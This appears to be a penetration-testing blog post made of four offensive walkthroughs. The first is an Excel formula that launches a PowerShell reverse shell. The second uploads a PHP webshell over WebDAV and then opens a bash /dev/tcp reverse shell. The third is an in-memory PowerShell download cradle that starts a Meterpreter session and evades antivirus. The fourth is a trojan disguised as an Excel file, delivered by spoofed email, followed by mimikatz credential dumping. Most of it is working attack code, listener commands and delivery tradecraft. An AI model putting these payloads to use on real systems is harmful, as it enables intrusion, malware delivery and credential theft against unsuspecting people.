Reverse Shell via Excel (xlsx) One-Liner

Saving the below one-liner within an .xlsx file will pop a reverse shell on the target computer – at least after they click through the two warnings. I’ve been looking for an alternative method to using macro enabled Excel documents for delivering the payload because they’re increasingly detected and blocked by spam filters.
Excel one-liner:
=cmd|’/C powershell IEX(wget’!A0
Add-Type -Name win -MemberDefinition ‘[DllImport(“user32.dll”)] public static extern bool ShowWindow(int handle, int state);’ -Namespace native
[]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle,0)
Invoke-Item “C:\Program Files\Microsoft Office\Office15\excel.exe”
Set-Location c:\windows\system32
$client = New-Object System.Net.Sockets.TCPClient(“”,8443);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + “PS ” + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
On my AWS instance, I have a simple listener running:
nc -lvp 8443
Obviously, we could get a bit more fancy with a meterpreter shell but I’m just keeping it simple for this POC.

PHP Backdoor + Reverse Shell on Vulnerable Website

The goal here is show one method for examining a public IP address to determine if it is running any vulnerable services that are exploitable.

Target IP: X.X.X.X (IP address purposely hidden)

First we have to do some basic discovery on our IP to determine what services are running. The nmap command used is: proxychains nmap <ip address> -v -Pn -sT -A


We can see that the target IP is listening on ports 22 (ssh) and 80 (web). For now, we’ll focus on port 80.

Next we scan the website using nikto, dirb, uniscan and w3af.  Nikto didn’t really turn up much, but dirb tells us that a folder exists called test. Uniscan also turned up some helpful info but each tool is different and useful in varying ways depending on what you’re trying to accomplish.  I recommend trying them all against your target.


Now that we have a know a bit more about our target, we can use curl to glean more useful information about the “test” folder:

proxychains curl -X OPTIONS -v http://X.X.X.X/test/


Based on the response of the OPTIONS verb on the /test directory, it looks like it has WebDAV enabled. Using “PUT” we may be able to upload a backdoor to this folder.

First, we need to create a new file on our box and add the following line:

<?php echo system($_GET[“cmd”]); ?>

Next, we attempt to upload our php backdoor to our target using the following command:

proxychains curl –upload-file /root/Desktop/cmd.php -v –url http://X.X.X.X/test/cmd.php -0 –http1.0


We can see that our backdoor was successfully uploaded.  Now, we can use our backdoor to (hopefully) run commands directly on the webserver.  For example, running the following command from a web browser will give us a directory listing:


Capture4Using curl, we could also upload a bash shell script and then use our backdoor to give us a reverse shell on the webserver. The script file contains the following code:

exec 5<>/dev/tcp/
cat <&5 | while read line; do $line 2>&5 >&5; done

Now we upload it:


Now on our public facing box, and before we can receive our shell, we need to setup a listener on port 443 using the following command:

nc -lvp 443


Then, at the website, we can now run our script via our backdoor:


We should now have our reverse bash shell, as seen below:



Evading Antivirus + Reverse Meterpreter Shell

The below steps can help us evade antivirus software on the victim’s Windows box as we setup a meterpreter shell back to our server across the Internet.  This technique works extremely well because nothing is downloaded to the victim’s computer and uses only Powershell on the victim’s machine.

The most difficult part is executing the Powershell code (seen below) on the victim’s computer but a good tactic to consider would be to embed the code into a macro enabled Excel document (if you don’t have internal access) or injecting a malicious executable into the victim’s packet stream after a MitM type attack on the LAN (mitmproxy, back door factory, etc). Obviously, there are lots of methods for delivering the payload, which are not covered here.

On our Internet facing Ubuntu box (with Metasploit installed), we run the following command:

./msfconsole -x “use exploit/multi/handler; set payload windows/meterpreter/reverse_https; set LHOST; set PORT 8443; run”

This will one-liner will fire up Metasploit while also setting up the multi handler we need to catch the meterpreter payload coming from the victim. We also need to make sure we have port 8443 (in this example) forwarded to our box.



The code to run on the victim’s PC is below.  In this example, I’ve opened a command prompt window and pasted in the necessary code:

powershell -nop -windowstyle hidden -NonInteractive -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(‘ ‘);invoke-shellcode -Payload windows/meterpreter/reverse_https -Lhost 52.37.4X.XXX -Lport 8443″

The below Powershell command will use Powershell to download and execute Invoke-Shellcode all within memory with no files being written to disk.  This is how we are able to evade most antivirus software.


We see on our Metasploit box that we now have an incoming connection and that we’re easily able to obtain our shell:



Netcat Reverse Powershell Shell Across The Internet + Privilege Escalation

Outlined below is a technique for building and delivering a trojan to a victim in hopes that he or she will run the infected file and ultimately give us a reverse shell across the Internet.  There are lots of ways to deliver a payload and we’ve chosen to use email as the delivery method in this example.

For this POC, we have a Ubuntu server hosted at AWS.  This server will be hosting the malicious file and running the netcat listener. We have already installed apache and the installation/config is not covered here (sorry).

To start, we need to setup a port forwarding rule in the AWS console for all inbound TCP traffic coming in to our VM on port 31337.


We now need to take our Powershell code and compile it as an executable.   The code is  below.  When executed, it should connect back to our AWS instance’s public IP on port 31337 and give us our reverse shell. When run, it should also open Excel on the victim’s computer.

Add-Type -Name win -MemberDefinition ‘[DllImport(“user32.dll”)] public static extern bool ShowWindow(int handle, int
state);’ -Namespace native
[]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle,0)
Invoke-Item “C:\Program Files\Microsoft Office\Office15\excel.exe”
Set-Location c:\windows\system32
$client = New-Object System.Net.Sockets.TCPClient(“AWS_Public_IP_Goes_Here”,31337);$stream = $client.GetStream();[byte[]]$bytes =
0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback +
“PS ” + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,

We used PowerGUI Script Editor for compiling and also for setting the .ico file to be the default that you’d normally see used when opening .xlsx (Excel) documents.


The malicious file is now ready to be uploaded to our Ubuntu server.  We used SCP to deliver the file to /var/www/html/files:


Once that is complete, we need to  setup a netcat listener on the same port as above (31337):


Now it’s time to deliver the file. We have other posts on how to spoof emails and reply-to headers, and it’s assumed there is familiarity with the social engineering aspect of sending convincing emails. If you use an email client like Outlook (for example), you can take advantage of it’s HTML capabilities as depicted below.


When the recipient receives the email, it should/could look similar to the below.


When viewed in Windows Explorer, depending on settings the malicious file could/should look something like the below.  The “giveaway” is that the file is listed as an “application” in the “type” column; however, the hope is that the icon and lack of file extension will make this file look like a regular Excel file enough to get the victim to click on it.


When the file is executed, it should (hopefully) create a reverse shell back to the AWS instance.  If we switch back to our Ubuntu box, we should see an incoming connection from the victim’s network.


From here, to obtain our shell, just type something/anything (like the word “shell”) or press enter a couple of times. (see below):



With our new Powershell shell, we can execute any commands that one would/could normally run from a Powershell prompt.


During a pentest engagement the goal is usually privilege escalation.  With our shiny new shell, we can issue the below command and see that our target is also a local administrator on their box.


Despite our shell running as a user with limited privileges, we now know that our victim has the ability to run commands in an escalated fashion. For example, we may choose to leverage their access to attempt to dump passwords from memory:



The above command will download mimikatz and run it in memory so that it can function without being detected by AV.  It will also run as a local administrator (which is required) and dump all of the output into a text file of our choosing.


Using the “type” command, we can view the file’s contents and see that we’ve successfully dumped passwords from memory.